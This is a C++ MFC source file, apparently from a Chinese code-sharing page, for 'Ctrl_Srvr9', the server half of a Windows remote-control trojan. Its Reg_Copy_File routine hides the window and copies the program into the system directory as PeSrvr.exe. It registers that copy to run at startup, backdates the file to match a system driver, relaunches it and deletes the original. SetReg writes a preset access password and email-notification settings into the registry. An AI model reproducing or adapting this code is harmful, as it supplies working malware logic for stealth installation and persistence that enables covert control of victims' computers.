📄 ctrl_srvr9.cpp
字号:
// Ctrl_Srvr9.cpp : Defines the class behaviors for the application.
//
#include "stdafx.h"
#include "Ctrl_Srvr9.h"
#include "MainFrm.h"
#include "ChildFrm.h"
#include ".\\Bo_Files\\Func_Bo.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
///////////////// VERSION //////////////////////
//#define VER_USER //Send to kelvinSpace@citiz.net
/////////////////////////////////////////////////
HMODULE g_module=NULL;
BOOL g_bIsWinNT;
/////////////////////////////////////////////////////////////////////////////
// CCtrl_SrvrApp
BEGIN_MESSAGE_MAP(CCtrl_SrvrApp, CWinApp)
//{{AFX_MSG_MAP(CCtrl_SrvrApp)
ON_COMMAND(ID_APP_ABOUT, OnAppAbout)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
// Standard file based document commands
ON_COMMAND(ID_FILE_NEW, CWinApp::OnFileNew)
ON_COMMAND(ID_FILE_OPEN, CWinApp::OnFileOpen)
// Standard print setup command
ON_COMMAND(ID_FILE_PRINT_SETUP, CWinApp::OnFilePrintSetup)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CCtrl_SrvrApp construction
CCtrl_SrvrApp::CCtrl_SrvrApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}
/////////////////////////////////////////////////////////////////////////////
// The one and only CCtrl_SrvrApp object
CCtrl_SrvrApp theApp;
/////////////////////////////////////////////////////////////////////////////
// CCtrl_SrvrApp initialization
BOOL CCtrl_SrvrApp::InitInstance()
{
CString strCaption;
//////// run ctrl_clnt9 to exit
// strCaption.LoadString (IDS_WINDOW_CAPTION);
// strCaption += " - [Child]";
// CWnd *pWnd = CWnd::FindWindow (NULL,strCaption);
// if (pWnd != NULL)
// return FALSE;
/////////////////////////////////////////////////
g_module=GetModuleHandle(NULL);
GetOSVersion ();
InitDynamicLibraries ();
#if !defined(_DEBUG)
if (Reg_Copy_File () == -2) //Atuo install to system
return FALSE;
#endif
AfxEnableControlContainer();
if (!AfxSocketInit())
{
#ifdef _DEBUG
AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
#endif
return FALSE;
}
// Standard initialization
// If you are not using these features and wish to reduce the size
// of your final executable, you should remove from the following
// the specific initialization routines you do not need.
#ifdef _AFXDLL
Enable3dControls(); // Call this when using MFC in a shared DLL
#else
Enable3dControlsStatic(); // Call this when linking to MFC statically
#endif
// Change the registry key under which our settings are stored.
// TODO: You should modify this string to be something appropriate
CMainFrame* pMainFrame = new CMainFrame;
if (!pMainFrame->LoadFrame(IDR_MAINFRAME))
return FALSE;
// pMainFrame->ShowWindow(m_nCmdShow);
strCaption.LoadString (IDS_WINDOW_CAPTION);
m_pMainWnd = pMainFrame;
pMainFrame->SetWindowText (strCaption);
pMainFrame->ShowWindow(SW_HIDE);
pMainFrame->UpdateWindow();
return TRUE; // load the two static menus
}
int CCtrl_SrvrApp::Reg_Copy_File()
{
char * strRegName[5] = {"SOFTWARE",
"Microsoft",
"Windows",
"CurrentVersion",
"RunServices"};
// HKEY hKey = HKEY_CURRENT_CONFIG;
HKEY hKey2 = HKEY_LOCAL_MACHINE;
HKEY hSubKey;
int indx = 0;
long lRC;
int nRC;
char svBuffer[256];
// char strFileName[] = "Ctrl_Srvr9.exe";
DWORD dwSize = 256;
BOOL bReg = FALSE;
/********** delete to window system dir ***************/
char *svCmdLine=GetCommandLine();
while(svCmdLine[0]!='\0') {
svCmdLine++;
if((*(svCmdLine-1))== '*')break;
}
if(svCmdLine[0]!='\0')
{
while(DeleteFile(svCmdLine)==0)
{
if(GetLastError()==ERROR_FILE_NOT_FOUND) break;
Sleep(100);
}
return 0;
}
/***** install Email and Password ***/
CString strFile;
CString strEndFile;
CString strPath;
char szFile[256];
/********** move to window system dir ***************/
GetModuleFileName (m_hInstance,szFile,sizeof (szFile));
strFile = szFile;
GetSystemDirectory (szFile,sizeof (szFile));
strPath = szFile;
nRC = strFile.Find (strPath,0); //current dir is system dir than exit
if (nRC != -1)
return -1;
SetReg();
GetSystemDirectory (szFile,sizeof (szFile));
strEndFile = szFile;
strEndFile = strEndFile + "\\PeSrvr.exe";
while(CopyFile(strFile,strEndFile,FALSE)==0)
Sleep(100);
/********** Modify Reg to auto startup after ************/
while(1)
{
lRC = RegOpenKeyEx(hKey2, strRegName[indx], 0,
KEY_READ | KEY_WRITE, &hSubKey) ;
if(lRC != ERROR_SUCCESS)
{
RegCloseKey(hKey2);
return -1;
}
hKey2 = hSubKey;
indx++;
if (indx >= 5)
break;
}
//设置自动启动
lRC = RegQueryValueEx(hKey2, "PeSrvr", NULL, NULL,
(BYTE *)svBuffer, &dwSize);
if (lRC != ERROR_SUCCESS)
{
lRC = RegSetValueEx (hKey2, "PeSrvr", 0, REG_SZ,
(BYTE *)strEndFile.GetBuffer(256),strEndFile.GetLength());
SetReg();
bReg = FALSE;
}
else
bReg = TRUE;
/********** change file date to first "*.sys" file date *************/
lstrcat (szFile,"\\*.sys");
HANDLE hFind;
WIN32_FIND_DATA finddata;
hFind=FindFirstFile(szFile, &finddata);
if(hFind != INVALID_HANDLE_VALUE)
{
CFileStatus fStatus;
if (CFile::GetStatus (strEndFile,fStatus))
{
fStatus.m_mtime = finddata.ftLastWriteTime;
CFile::SetStatus (strEndFile,fStatus);
}
FindClose(hFind);
}
// startup new process in new dir
STARTUPINFO si;
PROCESS_INFORMATION pi;
char svComLine[2048];
lstrcpyn(svComLine,strEndFile,2048); //注意:必需有空格,*是分格符号
lstrcpyn(svComLine+lstrlen(strEndFile)," *",2048-lstrlen(strEndFile));
lstrcpyn(svComLine+lstrlen(svComLine),strFile,2048-lstrlen(svComLine));
memset(&si,0,sizeof(STARTUPINFO));
si.cb=sizeof(STARTUPINFO);
si.dwFlags=STARTF_FORCEOFFFEEDBACK;
CreateProcess(NULL,svComLine,NULL,NULL,0,0,NULL,NULL,&si,&pi);
// shupdwon current self
KillDynamicLibraries();
return -2;
}
void CCtrl_SrvrApp::GetOSVersion(void)
{
OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(GetVersionEx(&osvi)==FALSE)
{
// MessageBox( HWND_DESKTOP, "Unable to get version info", "GetOSVersion()", MB_OK );
g_bIsWinNT = -1;
}
if(osvi.dwPlatformId==VER_PLATFORM_WIN32s)
{
// MessageBox( HWND_DESKTOP, "This application does not run under WIN32s!", "Error", MB_OK );
g_bIsWinNT = -1;
}
if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
g_bIsWinNT = 1;
else
g_bIsWinNT = 0;
}
/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About
class CAboutDlg : public CDialog
{
public:
CAboutDlg();
// Dialog Data
//{{AFX_DATA(CAboutDlg)
enum { IDD = IDD_ABOUTBOX };
//}}AFX_DATA
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CAboutDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
//{{AFX_MSG(CAboutDlg)
// No message handlers
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
//{{AFX_DATA_INIT(CAboutDlg)
//}}AFX_DATA_INIT
}
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAboutDlg)
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
//{{AFX_MSG_MAP(CAboutDlg)
// No message handlers
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
// App command to run the dialog
void CCtrl_SrvrApp::OnAppAbout()
{
CAboutDlg aboutDlg;
aboutDlg.DoModal();
}
/////////////////////////////////////////////////////////////////////////////
// CCtrl_SrvrApp message handlers
//DEL long CCtrl_SrvrApp::SetRegKey(LPSTR szKey, LPSTR szValue)
//DEL {
//DEL //Install password
//DEL HKEY hKey = HKEY_CURRENT_CONFIG;
//DEL HKEY hSubKey;
//DEL long lRC;
//DEL char strFileName[] = "ZICTJADM";
//DEL
//DEL lRC = RegOpenKey(hKey, szKey, &hSubKey) ;
//DEL if(lRC != ERROR_SUCCESS) //Create
//DEL {
//DEL lRC = RegCreateKey(hKey, szKey, &hSubKey) ;
//DEL if(lRC != ERROR_SUCCESS)
//DEL {
//DEL RegCloseKey(hKey);
//DEL return -1;
//DEL }
//DEL else{ //Created
//DEL lRC = RegSetValue(hSubKey, NULL, REG_SZ,
//DEL szValue,strlen (szValue));
//DEL }
//DEL }
//DEL RegCloseKey(hSubKey);
//DEL return lRC;
//DEL }
void CCtrl_SrvrApp::SetReg()
{
//Install password
char * strRegName[8] = {"Password",
"EmailEnabled",
"EmailServer",
"EmailTo",
"EmailFrom",
"EmailText",
"EmailUser",
"EmailPW"};
char * strRegText[8] = {"ADM",
"TRUE",
"tvb.net",
"tvb@tvb.NET",
"tvb@tvb.NET",
"<<NULL>>",
"tvb",
"tvb"};
HKEY hKey = HKEY_CURRENT_CONFIG;
HKEY hSubKey;
int indx = 0;
//DEL long lRC;
//DEL char svBuffer[256];
DWORD dwSize = 256;
BOOL bReg = FALSE;
if (RegCreateKey(hKey, "PeSrvr", &hSubKey) == ERROR_SUCCESS)
{
for (int i = 0; i < 8; i++) {
RegSetValueEx(hSubKey,strRegName[i],0, REG_SZ,
(BYTE *)strRegText[i],strlen (strRegText[i]));
}
}
RegCloseKey(hSubKey);
return ;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -